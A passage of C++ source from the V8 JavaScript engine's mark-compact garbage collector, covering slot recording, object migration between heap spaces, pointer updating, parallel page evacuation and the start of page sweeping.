SlotsBuffer::IGNORE_OVERFLOW);
}
}
void MarkCompactCollector::RecordMigratedCodeObjectSlot(
Address code_object, SlotsBuffer** evacuation_slots_buffer) {
SlotsBuffer::AddTo(slots_buffer_allocator_, evacuation_slots_buffer,
SlotsBuffer::RELOCATED_CODE_OBJECT, code_object,
SlotsBuffer::IGNORE_OVERFLOW);
}
static inline SlotsBuffer::SlotType SlotTypeForRMode(RelocInfo::Mode rmode) {
if (RelocInfo::IsCodeTarget(rmode)) {
return SlotsBuffer::CODE_TARGET_SLOT;
} else if (RelocInfo::IsCell(rmode)) {
return SlotsBuffer::CELL_TARGET_SLOT;
} else if (RelocInfo::IsEmbeddedObject(rmode)) {
return SlotsBuffer::EMBEDDED_OBJECT_SLOT;
} else if (RelocInfo::IsDebugBreakSlot(rmode)) {
return SlotsBuffer::DEBUG_TARGET_SLOT;
}
UNREACHABLE();
return SlotsBuffer::NUMBER_OF_SLOT_TYPES;
}
static inline SlotsBuffer::SlotType DecodeSlotType(
SlotsBuffer::ObjectSlot slot) {
return static_cast<SlotsBuffer::SlotType>(reinterpret_cast<intptr_t>(slot));
}
void MarkCompactCollector::RecordRelocSlot(RelocInfo* rinfo, Object* target) {
Page* target_page = Page::FromAddress(reinterpret_cast<Address>(target));
RelocInfo::Mode rmode = rinfo->rmode();
if (target_page->IsEvacuationCandidate() &&
(rinfo->host() == NULL ||
!ShouldSkipEvacuationSlotRecording(rinfo->host()))) {
Address addr = rinfo->pc();
SlotsBuffer::SlotType slot_type = SlotTypeForRMode(rmode);
if (rinfo->IsInConstantPool()) {
addr = rinfo->constant_pool_entry_address();
if (RelocInfo::IsCodeTarget(rmode)) {
slot_type = SlotsBuffer::CODE_ENTRY_SLOT;
} else {
DCHECK(RelocInfo::IsEmbeddedObject(rmode));
slot_type = SlotsBuffer::OBJECT_SLOT;
}
}
bool success = SlotsBuffer::AddTo(
slots_buffer_allocator_, target_page->slots_buffer_address(), slot_type,
addr, SlotsBuffer::FAIL_ON_OVERFLOW);
if (!success) {
EvictPopularEvacuationCandidate(target_page);
}
}
}
// We scavenge new space simultaneously with sweeping. This is done in two
// passes.
//
// The first pass migrates all alive objects from one semispace to another or
// promotes them to old space. Forwarding address is written directly into
// first word of object without any encoding. If object is dead we write
// NULL as a forwarding address.
//
// The second pass updates pointers to new space in all spaces. It is possible
// to encounter pointers to dead new space objects during traversal of pointers
// to new space. We should clear them to avoid encountering them during next
// pointer iteration. This is an issue if the store buffer overflows and we
// have to scan the entire old space, including dead objects, looking for
// pointers to new space.
void MarkCompactCollector::MigrateObject(
HeapObject* dst, HeapObject* src, int size, AllocationSpace dest,
SlotsBuffer** evacuation_slots_buffer) {
Address dst_addr = dst->address();
Address src_addr = src->address();
DCHECK(heap()->AllowedToBeMigrated(src, dest));
DCHECK(dest != LO_SPACE);
if (dest == OLD_SPACE) {
DCHECK_OBJECT_SIZE(size);
DCHECK(evacuation_slots_buffer != nullptr);
DCHECK(IsAligned(size, kPointerSize));
switch (src->ContentType()) {
case HeapObjectContents::kTaggedValues:
MigrateObjectTagged(dst, src, size, evacuation_slots_buffer);
break;
case HeapObjectContents::kMixedValues:
MigrateObjectMixed(dst, src, size, evacuation_slots_buffer);
break;
case HeapObjectContents::kRawValues:
MigrateObjectRaw(dst, src, size);
break;
}
if (compacting_ && dst->IsJSFunction()) {
Address code_entry_slot = dst->address() + JSFunction::kCodeEntryOffset;
Address code_entry = Memory::Address_at(code_entry_slot);
RecordMigratedCodeEntrySlot(code_entry, code_entry_slot,
evacuation_slots_buffer);
}
} else if (dest == CODE_SPACE) {
DCHECK_CODEOBJECT_SIZE(size, heap()->code_space());
DCHECK(evacuation_slots_buffer != nullptr);
PROFILE(isolate(), CodeMoveEvent(src_addr, dst_addr));
heap()->MoveBlock(dst_addr, src_addr, size);
RecordMigratedCodeObjectSlot(dst_addr, evacuation_slots_buffer);
Code::cast(dst)->Relocate(dst_addr - src_addr);
} else {
DCHECK_OBJECT_SIZE(size);
DCHECK(evacuation_slots_buffer == nullptr);
DCHECK(dest == NEW_SPACE);
heap()->MoveBlock(dst_addr, src_addr, size);
}
heap()->OnMoveEvent(dst, src, size);
Memory::Address_at(src_addr) = dst_addr;
}
void MarkCompactCollector::MigrateObjectTagged(
HeapObject* dst, HeapObject* src, int size,
SlotsBuffer** evacuation_slots_buffer) {
Address src_slot = src->address();
Address dst_slot = dst->address();
for (int remaining = size / kPointerSize; remaining > 0; remaining--) {
Object* value = Memory::Object_at(src_slot);
Memory::Object_at(dst_slot) = value;
RecordMigratedSlot(value, dst_slot, evacuation_slots_buffer);
src_slot += kPointerSize;
dst_slot += kPointerSize;
}
}
void MarkCompactCollector::MigrateObjectMixed(
HeapObject* dst, HeapObject* src, int size,
SlotsBuffer** evacuation_slots_buffer) {
if (src->IsFixedTypedArrayBase()) {
heap()->MoveBlock(dst->address(), src->address(), size);
Address base_pointer_slot =
dst->address() + FixedTypedArrayBase::kBasePointerOffset;
RecordMigratedSlot(Memory::Object_at(base_pointer_slot), base_pointer_slot,
evacuation_slots_buffer);
} else if (src->IsBytecodeArray()) {
heap()->MoveBlock(dst->address(), src->address(), size);
Address constant_pool_slot =
dst->address() + BytecodeArray::kConstantPoolOffset;
RecordMigratedSlot(Memory::Object_at(constant_pool_slot),
constant_pool_slot, evacuation_slots_buffer);
} else if (src->IsJSArrayBuffer()) {
heap()->MoveBlock(dst->address(), src->address(), size);
// Visit inherited JSObject properties and byte length of ArrayBuffer
Address regular_slot =
dst->address() + JSArrayBuffer::BodyDescriptor::kStartOffset;
Address regular_slots_end =
dst->address() + JSArrayBuffer::kByteLengthOffset + kPointerSize;
while (regular_slot < regular_slots_end) {
RecordMigratedSlot(Memory::Object_at(regular_slot), regular_slot,
evacuation_slots_buffer);
regular_slot += kPointerSize;
}
// Skip backing store and visit just internal fields
Address internal_field_slot = dst->address() + JSArrayBuffer::kSize;
Address internal_fields_end =
dst->address() + JSArrayBuffer::kSizeWithInternalFields;
while (internal_field_slot < internal_fields_end) {
RecordMigratedSlot(Memory::Object_at(internal_field_slot),
internal_field_slot, evacuation_slots_buffer);
internal_field_slot += kPointerSize;
}
} else if (FLAG_unbox_double_fields) {
Address dst_addr = dst->address();
Address src_addr = src->address();
Address src_slot = src_addr;
Address dst_slot = dst_addr;
LayoutDescriptorHelper helper(src->map());
DCHECK(!helper.all_fields_tagged());
for (int remaining = size / kPointerSize; remaining > 0; remaining--) {
Object* value = Memory::Object_at(src_slot);
Memory::Object_at(dst_slot) = value;
if (helper.IsTagged(static_cast<int>(src_slot - src_addr))) {
RecordMigratedSlot(value, dst_slot, evacuation_slots_buffer);
}
src_slot += kPointerSize;
dst_slot += kPointerSize;
}
} else {
UNREACHABLE();
}
}
void MarkCompactCollector::MigrateObjectRaw(HeapObject* dst, HeapObject* src,
int size) {
heap()->MoveBlock(dst->address(), src->address(), size);
}
static inline void UpdateSlot(Isolate* isolate, ObjectVisitor* v,
SlotsBuffer::SlotType slot_type, Address addr) {
switch (slot_type) {
case SlotsBuffer::CODE_TARGET_SLOT: {
RelocInfo rinfo(addr, RelocInfo::CODE_TARGET, 0, NULL);
rinfo.Visit(isolate, v);
break;
}
case SlotsBuffer::CELL_TARGET_SLOT: {
RelocInfo rinfo(addr, RelocInfo::CELL, 0, NULL);
rinfo.Visit(isolate, v);
break;
}
case SlotsBuffer::CODE_ENTRY_SLOT: {
v->VisitCodeEntry(addr);
break;
}
case SlotsBuffer::RELOCATED_CODE_OBJECT: {
HeapObject* obj = HeapObject::FromAddress(addr);
Code::cast(obj)->CodeIterateBody(v);
break;
}
case SlotsBuffer::DEBUG_TARGET_SLOT: {
RelocInfo rinfo(addr, RelocInfo::DEBUG_BREAK_SLOT_AT_POSITION, 0, NULL);
if (rinfo.IsPatchedDebugBreakSlotSequence()) rinfo.Visit(isolate, v);
break;
}
case SlotsBuffer::EMBEDDED_OBJECT_SLOT: {
RelocInfo rinfo(addr, RelocInfo::EMBEDDED_OBJECT, 0, NULL);
rinfo.Visit(isolate, v);
break;
}
case SlotsBuffer::OBJECT_SLOT: {
v->VisitPointer(reinterpret_cast<Object**>(addr));
break;
}
default:
UNREACHABLE();
break;
}
}
// Visitor for updating pointers from live objects in old spaces to new space.
// It does not expect to encounter pointers to dead objects.
class PointersUpdatingVisitor : public ObjectVisitor {
public:
explicit PointersUpdatingVisitor(Heap* heap) : heap_(heap) {}
void VisitPointer(Object** p) override { UpdatePointer(p); }
void VisitPointers(Object** start, Object** end) override {
for (Object** p = start; p < end; p++) UpdatePointer(p);
}
void VisitCell(RelocInfo* rinfo) override {
DCHECK(rinfo->rmode() == RelocInfo::CELL);
Object* cell = rinfo->target_cell();
Object* old_cell = cell;
VisitPointer(&cell);
if (cell != old_cell) {
rinfo->set_target_cell(reinterpret_cast<Cell*>(cell));
}
}
void VisitEmbeddedPointer(RelocInfo* rinfo) override {
DCHECK(rinfo->rmode() == RelocInfo::EMBEDDED_OBJECT);
Object* target = rinfo->target_object();
Object* old_target = target;
VisitPointer(&target);
// Avoid unnecessary changes that might unnecessary flush the instruction
// cache.
if (target != old_target) {
rinfo->set_target_object(target);
}
}
void VisitCodeTarget(RelocInfo* rinfo) override {
DCHECK(RelocInfo::IsCodeTarget(rinfo->rmode()));
Object* target = Code::GetCodeFromTargetAddress(rinfo->target_address());
Object* old_target = target;
VisitPointer(&target);
if (target != old_target) {
rinfo->set_target_address(Code::cast(target)->instruction_start());
}
}
void VisitCodeAgeSequence(RelocInfo* rinfo) override {
DCHECK(RelocInfo::IsCodeAgeSequence(rinfo->rmode()));
Object* stub = rinfo->code_age_stub();
DCHECK(stub != NULL);
VisitPointer(&stub);
if (stub != rinfo->code_age_stub()) {
rinfo->set_code_age_stub(Code::cast(stub));
}
}
void VisitDebugTarget(RelocInfo* rinfo) override {
DCHECK(RelocInfo::IsDebugBreakSlot(rinfo->rmode()) &&
rinfo->IsPatchedDebugBreakSlotSequence());
Object* target =
Code::GetCodeFromTargetAddress(rinfo->debug_call_address());
VisitPointer(&target);
rinfo->set_debug_call_address(Code::cast(target)->instruction_start());
}
static inline void UpdateSlot(Heap* heap, Object** slot) {
Object* obj = reinterpret_cast<Object*>(
base::NoBarrier_Load(reinterpret_cast<base::AtomicWord*>(slot)));
if (!obj->IsHeapObject()) return;
HeapObject* heap_obj = HeapObject::cast(obj);
MapWord map_word = heap_obj->map_word();
if (map_word.IsForwardingAddress()) {
DCHECK(heap->InFromSpace(heap_obj) ||
MarkCompactCollector::IsOnEvacuationCandidate(heap_obj) ||
Page::FromAddress(heap_obj->address())
->IsFlagSet(Page::COMPACTION_WAS_ABORTED));
HeapObject* target = map_word.ToForwardingAddress();
base::NoBarrier_CompareAndSwap(
reinterpret_cast<base::AtomicWord*>(slot),
reinterpret_cast<base::AtomicWord>(obj),
reinterpret_cast<base::AtomicWord>(target));
DCHECK(!heap->InFromSpace(target) &&
!MarkCompactCollector::IsOnEvacuationCandidate(target));
}
}
private:
inline void UpdatePointer(Object** p) { UpdateSlot(heap_, p); }
Heap* heap_;
};
void MarkCompactCollector::UpdateSlots(SlotsBuffer* buffer) {
PointersUpdatingVisitor v(heap_);
size_t buffer_size = buffer->Size();
for (size_t slot_idx = 0; slot_idx < buffer_size; ++slot_idx) {
SlotsBuffer::ObjectSlot slot = buffer->Get(slot_idx);
if (!SlotsBuffer::IsTypedSlot(slot)) {
PointersUpdatingVisitor::UpdateSlot(heap_, slot);
} else {
++slot_idx;
DCHECK(slot_idx < buffer_size);
UpdateSlot(heap_->isolate(), &v, DecodeSlotType(slot),
reinterpret_cast<Address>(buffer->Get(slot_idx)));
}
}
}
void MarkCompactCollector::UpdateSlotsRecordedIn(SlotsBuffer* buffer) {
while (buffer != NULL) {
UpdateSlots(buffer);
buffer = buffer->next();
}
}
static void UpdatePointer(HeapObject** address, HeapObject* object) {
MapWord map_word = object->map_word();
// The store buffer can still contain stale pointers in dead large objects.
// Ignore these pointers here.
DCHECK(map_word.IsForwardingAddress() ||
object->GetHeap()->lo_space()->FindPage(
reinterpret_cast<Address>(address)) != NULL);
if (map_word.IsForwardingAddress()) {
// Update the corresponding slot.
*address = map_word.ToForwardingAddress();
}
}
static String* UpdateReferenceInExternalStringTableEntry(Heap* heap,
Object** p) {
MapWord map_word = HeapObject::cast(*p)->map_word();
if (map_word.IsForwardingAddress()) {
return String::cast(map_word.ToForwardingAddress());
}
return String::cast(*p);
}
bool MarkCompactCollector::TryPromoteObject(HeapObject* object,
int object_size) {
OldSpace* old_space = heap()->old_space();
HeapObject* target = nullptr;
AllocationAlignment alignment = object->RequiredAlignment();
AllocationResult allocation = old_space->AllocateRaw(object_size, alignment);
if (allocation.To(&target)) {
MigrateObject(target, object, object_size, old_space->identity(),
&migration_slots_buffer_);
// If we end up needing more special cases, we should factor this out.
if (V8_UNLIKELY(target->IsJSArrayBuffer())) {
heap()->array_buffer_tracker()->Promote(JSArrayBuffer::cast(target));
}
heap()->IncrementPromotedObjectsSize(object_size);
return true;
}
return false;
}
bool MarkCompactCollector::IsSlotInBlackObject(Page* p, Address slot,
HeapObject** out_object) {
Space* owner = p->owner();
if (owner == heap_->lo_space() || owner == NULL) {
Object* large_object = heap_->lo_space()->FindObject(slot);
// This object has to exist, otherwise we would not have recorded a slot
// for it.
CHECK(large_object->IsHeapObject());
HeapObject* large_heap_object = HeapObject::cast(large_object);
if (IsMarked(large_heap_object)) {
*out_object = large_heap_object;
return true;
}
return false;
}
uint32_t mark_bit_index = p->AddressToMarkbitIndex(slot);
unsigned int start_index = mark_bit_index >> Bitmap::kBitsPerCellLog2;
MarkBit::CellType index_in_cell = 1U
<< (mark_bit_index & Bitmap::kBitIndexMask);
MarkBit::CellType* cells = p->markbits()->cells();
Address cell_base = p->area_start();
unsigned int cell_base_start_index = Bitmap::IndexToCell(
Bitmap::CellAlignIndex(p->AddressToMarkbitIndex(cell_base)));
// Check if the slot points to the start of an object. This can happen e.g.
// when we left trim a fixed array. Such slots are invalid and we can remove
// them.
if ((cells[start_index] & index_in_cell) != 0) {
return false;
}
// Check if the object is in the current cell.
MarkBit::CellType slot_mask;
if ((cells[start_index] == 0) ||
(base::bits::CountTrailingZeros32(cells[start_index]) >
base::bits::CountTrailingZeros32(cells[start_index] | index_in_cell))) {
// If we are already in the first cell, there is no live object.
if (start_index == cell_base_start_index) return false;
// If not, find a cell in a preceding cell slot that has a mark bit set.
do {
start_index--;
} while (start_index > cell_base_start_index && cells[start_index] == 0);
// The slot must be in a dead object if there are no preceding cells that
// have mark bits set.
if (cells[start_index] == 0) {
return false;
}
// The object is in a preceding cell. Set the mask to find any object.
slot_mask = 0xffffffff;
} else {
// The object start is before the the slot index. Hence, in this case the
// slot index can not be at the beginning of the cell.
CHECK(index_in_cell > 1);
// We are interested in object mark bits right before the slot.
slot_mask = index_in_cell - 1;
}
MarkBit::CellType current_cell = cells[start_index];
CHECK(current_cell != 0);
// Find the last live object in the cell.
unsigned int leading_zeros =
base::bits::CountLeadingZeros32(current_cell & slot_mask);
CHECK(leading_zeros != 32);
unsigned int offset = Bitmap::kBitIndexMask - leading_zeros;
cell_base += (start_index - cell_base_start_index) * 32 * kPointerSize;
Address address = cell_base + offset * kPointerSize;
HeapObject* object = HeapObject::FromAddress(address);
CHECK(Marking::IsBlack(Marking::MarkBitFrom(object)));
CHECK(object->address() < reinterpret_cast<Address>(slot));
if (object->address() <= slot &&
(object->address() + object->Size()) > slot) {
// If the slot is within the last found object in the cell, the slot is
// in a live object.
*out_object = object;
return true;
}
return false;
}
bool MarkCompactCollector::IsSlotInBlackObjectSlow(Page* p, Address slot) {
// This function does not support large objects right now.
Space* owner = p->owner();
if (owner == heap_->lo_space() || owner == NULL) return true;
for (MarkBitCellIterator it(p); !it.Done(); it.Advance()) {
Address cell_base = it.CurrentCellBase();
MarkBit::CellType* cell = it.CurrentCell();
MarkBit::CellType current_cell = *cell;
if (current_cell == 0) continue;
int offset = 0;
while (current_cell != 0) {
int trailing_zeros = base::bits::CountTrailingZeros32(current_cell);
current_cell >>= trailing_zeros;
offset += trailing_zeros;
Address address = cell_base + offset * kPointerSize;
HeapObject* object = HeapObject::FromAddress(address);
int size = object->Size();
if (object->address() > slot) return false;
if (object->address() <= slot && slot < (object->address() + size)) {
return true;
}
offset++;
current_cell >>= 1;
}
}
return false;
}
bool MarkCompactCollector::IsSlotInLiveObject(Address slot) {
HeapObject* object = NULL;
// The target object is black but we don't know if the source slot is black.
// The source object could have died and the slot could be part of a free
// space. Find out based on mark bits if the slot is part of a live object.
if (!IsSlotInBlackObject(Page::FromAddress(slot), slot, &object)) {
return false;
}
DCHECK(object != NULL);
switch (object->ContentType()) {
case HeapObjectContents::kTaggedValues:
return true;
case HeapObjectContents::kRawValues: {
InstanceType type = object->map()->instance_type();
// Slots in maps and code can't be invalid because they are never
// shrunk.
if (type == MAP_TYPE || type == CODE_TYPE) return true;
// Consider slots in objects that contain ONLY raw data as invalid.
return false;
}
case HeapObjectContents::kMixedValues: {
if (object->IsFixedTypedArrayBase()) {
return static_cast<int>(slot - object->address()) ==
FixedTypedArrayBase::kBasePointerOffset;
} else if (object->IsBytecodeArray()) {
return static_cast<int>(slot - object->address()) ==
BytecodeArray::kConstantPoolOffset;
} else if (object->IsJSArrayBuffer()) {
int off = static_cast<int>(slot - object->address());
return (off >= JSArrayBuffer::BodyDescriptor::kStartOffset &&
off <= JSArrayBuffer::kByteLengthOffset) ||
(off >= JSArrayBuffer::kSize &&
off < JSArrayBuffer::kSizeWithInternalFields);
} else if (FLAG_unbox_double_fields) {
// Filter out slots that happen to point to unboxed double fields.
LayoutDescriptorHelper helper(object->map());
DCHECK(!helper.all_fields_tagged());
return helper.IsTagged(static_cast<int>(slot - object->address()));
}
break;
}
}
UNREACHABLE();
return true;
}
void MarkCompactCollector::VerifyIsSlotInLiveObject(Address slot,
HeapObject* object) {
// The target object has to be black.
CHECK(Marking::IsBlack(Marking::MarkBitFrom(object)));
// The target object is black but we don't know if the source slot is black.
// The source object could have died and the slot could be part of a free
// space. Use the mark bit iterator to find out about liveness of the slot.
CHECK(IsSlotInBlackObjectSlow(Page::FromAddress(slot), slot));
}
void MarkCompactCollector::EvacuateNewSpace() {
// There are soft limits in the allocation code, designed trigger a mark
// sweep collection by failing allocations. But since we are already in
// a mark-sweep allocation, there is no sense in trying to trigger one.
AlwaysAllocateScope scope(isolate());
NewSpace* new_space = heap()->new_space();
// Store allocation range before flipping semispaces.
Address from_bottom = new_space->bottom();
Address from_top = new_space->top();
// Flip the semispaces. After flipping, to space is empty, from space has
// live objects.
new_space->Flip();
new_space->ResetAllocationInfo();
int survivors_size = 0;
// First pass: traverse all objects in inactive semispace, remove marks,
// migrate live objects and write forwarding addresses. This stage puts
// new entries in the store buffer and may cause some pages to be marked
// scan-on-scavenge.
NewSpacePageIterator it(from_bottom, from_top);
while (it.has_next()) {
NewSpacePage* p = it.next();
survivors_size += DiscoverAndEvacuateBlackObjectsOnPage(new_space, p);
}
heap_->IncrementYoungSurvivorsCounter(survivors_size);
new_space->set_age_mark(new_space->top());
}
void MarkCompactCollector::AddEvacuationSlotsBufferSynchronized(
SlotsBuffer* evacuation_slots_buffer) {
base::LockGuard<base::Mutex> lock_guard(&evacuation_slots_buffers_mutex_);
evacuation_slots_buffers_.Add(evacuation_slots_buffer);
}
bool MarkCompactCollector::EvacuateLiveObjectsFromPage(
Page* p, PagedSpace* target_space, SlotsBuffer** evacuation_slots_buffer) {
AlwaysAllocateScope always_allocate(isolate());
DCHECK(p->IsEvacuationCandidate() && !p->WasSwept());
int offsets[16];
for (MarkBitCellIterator it(p); !it.Done(); it.Advance()) {
Address cell_base = it.CurrentCellBase();
MarkBit::CellType* cell = it.CurrentCell();
if (*cell == 0) continue;
int live_objects = MarkWordToObjectStarts(*cell, offsets);
for (int i = 0; i < live_objects; i++) {
Address object_addr = cell_base + offsets[i] * kPointerSize;
HeapObject* object = HeapObject::FromAddress(object_addr);
DCHECK(Marking::IsBlack(Marking::MarkBitFrom(object)));
int size = object->Size();
AllocationAlignment alignment = object->RequiredAlignment();
HeapObject* target_object = nullptr;
AllocationResult allocation = target_space->AllocateRaw(size, alignment);
if (!allocation.To(&target_object)) {
// We need to abort compaction for this page. Make sure that we reset
// the mark bits for objects that have already been migrated.
if (i > 0) {
p->markbits()->ClearRange(p->AddressToMarkbitIndex(p->area_start()),
p->AddressToMarkbitIndex(object_addr));
}
return false;
}
MigrateObject(target_object, object, size, target_space->identity(),
evacuation_slots_buffer);
DCHECK(object->map_word().IsForwardingAddress());
}
// Clear marking bits for current cell.
*cell = 0;
}
p->ResetLiveBytes();
return true;
}
int MarkCompactCollector::NumberOfParallelCompactionTasks() {
if (!FLAG_parallel_compaction) return 1;
// Compute the number of needed tasks based on a target compaction time, the
// profiled compaction speed and marked live memory.
//
// The number of parallel compaction tasks is limited by:
// - #evacuation pages
// - (#cores - 1)
// - a hard limit
const double kTargetCompactionTimeInMs = 1;
const int kMaxCompactionTasks = 8;
intptr_t compaction_speed =
heap()->tracer()->CompactionSpeedInBytesPerMillisecond();
if (compaction_speed == 0) return 1;
intptr_t live_bytes = 0;
for (Page* page : evacuation_candidates_) {
live_bytes += page->LiveBytes();
}
const int cores = Max(1, base::SysInfo::NumberOfProcessors() - 1);
const int tasks =
1 + static_cast<int>(static_cast<double>(live_bytes) / compaction_speed /
kTargetCompactionTimeInMs);
const int tasks_capped_pages = Min(evacuation_candidates_.length(), tasks);
const int tasks_capped_cores = Min(cores, tasks_capped_pages);
const int tasks_capped_hard = Min(kMaxCompactionTasks, tasks_capped_cores);
return tasks_capped_hard;
}
void MarkCompactCollector::EvacuatePagesInParallel() {
const int num_pages = evacuation_candidates_.length();
if (num_pages == 0) return;
// Used for trace summary.
intptr_t live_bytes = 0;
intptr_t compaction_speed = 0;
if (FLAG_trace_fragmentation) {
for (Page* page : evacuation_candidates_) {
live_bytes += page->LiveBytes();
}
compaction_speed = heap()->tracer()->CompactionSpeedInBytesPerMillisecond();
}
const int num_tasks = NumberOfParallelCompactionTasks();
// Set up compaction spaces.
CompactionSpaceCollection** compaction_spaces_for_tasks =
new CompactionSpaceCollection*[num_tasks];
for (int i = 0; i < num_tasks; i++) {
compaction_spaces_for_tasks[i] = new CompactionSpaceCollection(heap());
}
heap()->old_space()->DivideUponCompactionSpaces(compaction_spaces_for_tasks,
num_tasks);
heap()->code_space()->DivideUponCompactionSpaces(compaction_spaces_for_tasks,
num_tasks);
compaction_in_progress_ = true;
// Kick off parallel tasks.
for (int i = 1; i < num_tasks; i++) {
concurrent_compaction_tasks_active_++;
V8::GetCurrentPlatform()->CallOnBackgroundThread(
new CompactionTask(heap(), compaction_spaces_for_tasks[i]),
v8::Platform::kShortRunningTask);
}
// Contribute in main thread. Counter and signal are in principal not needed.
EvacuatePages(compaction_spaces_for_tasks[0], &migration_slots_buffer_);
WaitUntilCompactionCompleted();
double compaction_duration = 0.0;
intptr_t compacted_memory = 0;
// Merge back memory (compacted and unused) from compaction spaces.
for (int i = 0; i < num_tasks; i++) {
heap()->old_space()->MergeCompactionSpace(
compaction_spaces_for_tasks[i]->Get(OLD_SPACE));
heap()->code_space()->MergeCompactionSpace(
compaction_spaces_for_tasks[i]->Get(CODE_SPACE));
compacted_memory += compaction_spaces_for_tasks[i]->bytes_compacted();
compaction_duration += compaction_spaces_for_tasks[i]->duration();
delete compaction_spaces_for_tasks[i];
}
delete[] compaction_spaces_for_tasks;
heap()->tracer()->AddCompactionEvent(compaction_duration, compacted_memory);
// Finalize sequentially.
int abandoned_pages = 0;
for (int i = 0; i < num_pages; i++) {
Page* p = evacuation_candidates_[i];
switch (p->parallel_compaction_state().Value()) {
case MemoryChunk::ParallelCompactingState::kCompactingAborted:
// We have partially compacted the page, i.e., some objects may have
// moved, others are still in place.
// We need to:
// - Leave the evacuation candidate flag for later processing of
// slots buffer entries.
// - Leave the slots buffer there for processing of entries added by
// the write barrier.
// - Rescan the page as slot recording in the migration buffer only
// happens upon moving (which we potentially didn't do).
// - Leave the page in the list of pages of a space since we could not
// fully evacuate it.
DCHECK(p->IsEvacuationCandidate());
p->SetFlag(Page::COMPACTION_WAS_ABORTED);
abandoned_pages++;
break;
case MemoryChunk::kCompactingFinalize:
DCHECK(p->IsEvacuationCandidate());
p->SetWasSwept();
p->Unlink();
break;
case MemoryChunk::kCompactingDone:
DCHECK(p->IsFlagSet(Page::POPULAR_PAGE));
DCHECK(p->IsFlagSet(Page::RESCAN_ON_EVACUATION));
break;
default:
// We should not observe kCompactingInProgress, or kCompactingDone.
UNREACHABLE();
}
p->parallel_compaction_state().SetValue(MemoryChunk::kCompactingDone);
}
if (FLAG_trace_fragmentation) {
PrintIsolate(isolate(),
"%8.0f ms: compaction: parallel=%d pages=%d aborted=%d "
"tasks=%d cores=%d live_bytes=%" V8_PTR_PREFIX
"d compaction_speed=%" V8_PTR_PREFIX "d\n",
isolate()->time_millis_since_init(), FLAG_parallel_compaction,
num_pages, abandoned_pages, num_tasks,
base::SysInfo::NumberOfProcessors(), live_bytes,
compaction_speed);
}
}
void MarkCompactCollector::WaitUntilCompactionCompleted() {
while (concurrent_compaction_tasks_active_ > 0) {
pending_compaction_tasks_semaphore_.Wait();
concurrent_compaction_tasks_active_--;
}
compaction_in_progress_ = false;
}
void MarkCompactCollector::EvacuatePages(
CompactionSpaceCollection* compaction_spaces,
SlotsBuffer** evacuation_slots_buffer) {
for (int i = 0; i < evacuation_candidates_.length(); i++) {
Page* p = evacuation_candidates_[i];
DCHECK(p->IsEvacuationCandidate() ||
p->IsFlagSet(Page::RESCAN_ON_EVACUATION));
DCHECK(static_cast<int>(p->parallel_sweeping_state().Value()) ==
MemoryChunk::kSweepingDone);
if (p->parallel_compaction_state().TrySetValue(
MemoryChunk::kCompactingDone, MemoryChunk::kCompactingInProgress)) {
if (p->IsEvacuationCandidate()) {
DCHECK_EQ(p->parallel_compaction_state().Value(),
MemoryChunk::kCompactingInProgress);
double start = heap()->MonotonicallyIncreasingTimeInMs();
intptr_t live_bytes = p->LiveBytes();
if (EvacuateLiveObjectsFromPage(
p, compaction_spaces->Get(p->owner()->identity()),
evacuation_slots_buffer)) {
p->parallel_compaction_state().SetValue(
MemoryChunk::kCompactingFinalize);
compaction_spaces->ReportCompactionProgress(
heap()->MonotonicallyIncreasingTimeInMs() - start, live_bytes);
} else {
p->parallel_compaction_state().SetValue(
MemoryChunk::kCompactingAborted);
}
} else {
// There could be popular pages in the list of evacuation candidates
// which we do compact.
p->parallel_compaction_state().SetValue(MemoryChunk::kCompactingDone);
}
}
}
}
class EvacuationWeakObjectRetainer : public WeakObjectRetainer {
public:
virtual Object* RetainAs(Object* object) {
if (object->IsHeapObject()) {
HeapObject* heap_object = HeapObject::cast(object);
MapWord map_word = heap_object->map_word();
if (map_word.IsForwardingAddress()) {
return map_word.ToForwardingAddress();
}
}
return object;
}
};
enum SweepingMode { SWEEP_ONLY, SWEEP_AND_VISIT_LIVE_OBJECTS };
enum SkipListRebuildingMode { REBUILD_SKIP_LIST, IGNORE_SKIP_LIST };
enum FreeSpaceTreatmentMode { IGNORE_FREE_SPACE, ZAP_FREE_SPACE };
template <MarkCompactCollector::SweepingParallelism mode>
static intptr_t Free(PagedSpace* space, FreeList* free_list, Address start,
int size) {
if (mode == MarkCompactCollector::SWEEP_ON_MAIN_THREAD) {
DCHECK(free_list == NULL);
return space->Free(start, size);
} else {
return size - free_list->Free(start, size);
}
}
// Sweeps a page. After sweeping the page can be iterated.
// Slots in live objects pointing into evacuation candidates are updated
// if requested.
// Returns the size of the biggest continuous freed memory chunk in bytes.
template <SweepingMode sweeping_mode,
MarkCompactCollector::SweepingParallelism parallelism,
SkipListRebuildingMode skip_list_mode,
FreeSpaceTreatmentMode free_space_mode>
static int Sweep(PagedSpace* space, FreeList* free_list, Page* p,
ObjectVisitor* v) {
DCHECK(!p->IsEvacuationCandidate() && !p->WasSwept());
DCHECK_EQ(skip_list_mode == REBUILD_SKIP_LIST,
space->identity() == CODE_SPACE);
DCHECK((p->skip_list() == NULL) || (skip_list_mode == REBUILD_SKIP_LIST));
DCHECK(parallelism == MarkCompactCollector::SWEEP_ON_MAIN_THREAD ||
sweeping_mode == SWEEP_ONLY);
Address free_start = p->area_start();
DCHECK(reinterpret_cast<intptr_t>(free_start) % (32 * kPointerSize) == 0);
int offsets[16];
// If we use the skip list for code space pages, we have to lock the skip
// list because it could be accessed concurrently by the runtime or the
// deoptimizer.
SkipList* skip_list = p->skip_list();
if ((skip_list_mode == REBUILD_SKIP_LIST) && skip_list) {
skip_list->Clear();
}
intptr_t freed_bytes = 0;
intptr_t max_freed_bytes = 0;
int curr_region = -1;
for (MarkBitCellIterator it(p); !it.Done(); it.Advance()) {
Address cell_base = it.CurrentCellBase();
MarkBit::CellType* cell = it.CurrentCell();
int live_objects = MarkWordToObjectStarts(*cell, offsets);
int live_index = 0;
for (; live_objects != 0; live_objects--) {
Address free_end = cell_base + offsets[live_index++] * kPointerSize;
if (free_end != free_start) {
int size = static_cast<int>(free_end - free_start);
if (free_space_mode == ZAP_FREE_SPACE) {
memset(free_start, 0xcc, size);
}
freed_bytes = Free<parallelism>(space, free_list, free_start, size);
max_freed_bytes = Max(freed_bytes, max_freed_bytes);
}
HeapObject* live_object = HeapObject::FromAddress(free_end);
DCHECK(Marking::IsBlack(Marking::MarkBitFrom(live_object)));
Map* map = live_object->synchronized_map();
int size = live_object->SizeFromMap(map);
if (sweeping_mode == SWEEP_AND_VISIT_LIVE_OBJECTS) {
live_object->IterateBody(map->instance_type(), size, v);
}
if ((skip_list_mode == REBUILD_SKIP_LIST) && skip_list != NULL) {
